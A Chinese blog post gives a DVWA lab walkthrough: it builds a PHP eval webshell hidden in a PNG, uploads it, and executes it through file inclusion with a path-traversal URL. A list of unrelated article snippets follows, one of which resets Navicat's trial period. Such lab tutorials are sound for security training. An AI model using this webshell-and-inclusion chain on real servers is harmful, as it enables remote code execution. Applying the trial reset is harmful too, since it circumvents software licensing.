首页 > 系统相关 >linux DVWA 文件上传之 Security level set to high

linux DVWA 文件上传之 Security level set to high

时间:2023-09-15 17:48:04浏览次数:38  
标签:set level DVWA 木马 上传 png 图片

-- 总体步骤

1、生成图片木马

2、上传图片木马

3、通过文件包含执行图片马

一、生成图片木马

1、随便准备一张图片——football.png

2、test.php写入内容:

<?php @eval($_GET['x']); ?>

3、生成图片木马,命令行执行:

cat football.png test.php >> my.png

二、把 DVWA 的安全级别设置为 high level,并上传图片木马

三、通过文件包含执行图片马

1、把 DVWA 的安全级别设置为 low level

2、浏览器访问:http://localhost:65530/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/my.png&x=phpinfo();

      红色参数是文件包含的页面

   绿色参数是传给php木马的

   结果如下图:

 

标签:set,level,DVWA,木马,上传,png,图片
From: https://www.cnblogs.com/changrunwei/p/17705574.html

相关文章

  • vue3.3.x setup 新实验性特性 defineModel 定义多个属性
    由于有些业务组件需要定义多个响应式props,类似这种(比较懒,没上ts),在vue3.3.x以前,如果不用三方库,代码会变得很繁琐<scriptsetup> constprops=defineProps({ modelValue:{ type:Object, default:()=>({}) }, fields:{ type:Object, default:()=>(......
  • setInterval定时器
    <scriptlang="ts"setup>import{ref,onMounted,onUnmounted}from"vue";lettimer=<any>ref(null);onMounted(()=>{//设置每隔5秒刷新一次timer.value=setInterval(()=>{//这里引用你想调用的方法},5000);});//在组件......
  • git硬重置(hard reset)重找回
    首先进行git版本回退1、gitlog查找历史commit_idgitlog 2、版本回退gitreset--hardcommit_id 3、找回你的提交(commit),因为Git对每件事都会有日志,且都会保存几天。gitreflog 4、选择你想要回到的提交(commit)的SHA,再重置一次:gitreset--hardcomm......
  • Windows 10 Reset navicat 16.2.x
    Resetnavicat16.2.xto14daystrialinWindows10DesktopWriteByjianmuzi1.Createanewfilewiththesuffixbat,Andfillinfollowingcontent:@echooffechoResetNavicatremaining14daystrialecho.setupdate=HKEY_CURRENT_USER\Software\......
  • 本机hadoop version命令报错--JAVA_HOME is not set问题的解决
    问题描述输入hadoopversion命令显示JAVA_HOME没有配置,但是本机的jdk配置正常!问题解决编辑hadoop/etc/hadoop目录下的hadoop-env.cmd文件:将JAVA_HOME的值换成本机的绝对路径;保存退出,再次尝试:......
  • Excel导出时文件中没有内容,表格是空的,并且后台抛出了下面的错误:No converter for [cla
    【问题描述】Excel导出时文件中没有内容,表格是空的,并且后台抛出了下面的错误:2023-09-1409:48:59.876WARN7---[http-nio-8096-exec-3].m.m.a.ExceptionHandlerExceptionResolver:Failurein@ExceptionHandlercom.cscecnf.common.exception.GlobalExceptionHandler#exce......
  • pytest的setup和teardown
    setup和teardown函数可以分别在每个测试用例之前和之后执行,以确保测试环境的准备和清除工作。通过合理使用这两个函数,您可以有效地提高测试效率,并且避免测试用例之间的相互干扰。 Pytest-setup和teardown执行用例肯定有些需要前置条件或后置操作,例如前置的用户登陆,后置的清......
  • [BT][Setting]如何在Framework层实现BT的自动配对
    https://blog.csdn.net/weixin_44343246/article/details/109768335[DESCRIPTION]客户有需求在没有屏和TP的情况下,如果有其他蓝牙对此设备进行配对,希望能自动完成配对动作,而不需要弹出需要用户确认的对话框。1Android手机平台上当对方发起配对时主要使用种配对方式:1.SSP......
  • Solution Set - 贪心和数据结构
    感觉自己好菜啊,这个专题真的不太会。CF1439CGreedyShoppingLink&Submission.容易发现,当此人连续买了一段物品之后,他的钱数至少减半。所以他最多只会买\(O(\logV)\)段物品。那么就可以直接模拟每次询问,不断往后轮流找最多能买到的位置和下一个能买的位置。二者都可以线段树......
  • Bug库____org.springframework.jdbc.IncorrectResultSetColumnCountException: Incorr
    Bug:使用到了spring的jdbctemplate模板使用到以下template.queryForObject(sql,requiredType)template.queryForList(sql,elementType,args)报以下错误org.springframework.jdbc.IncorrectResultSetColumnCountException:Incorrectcolumncount:expected1,actual3检查完......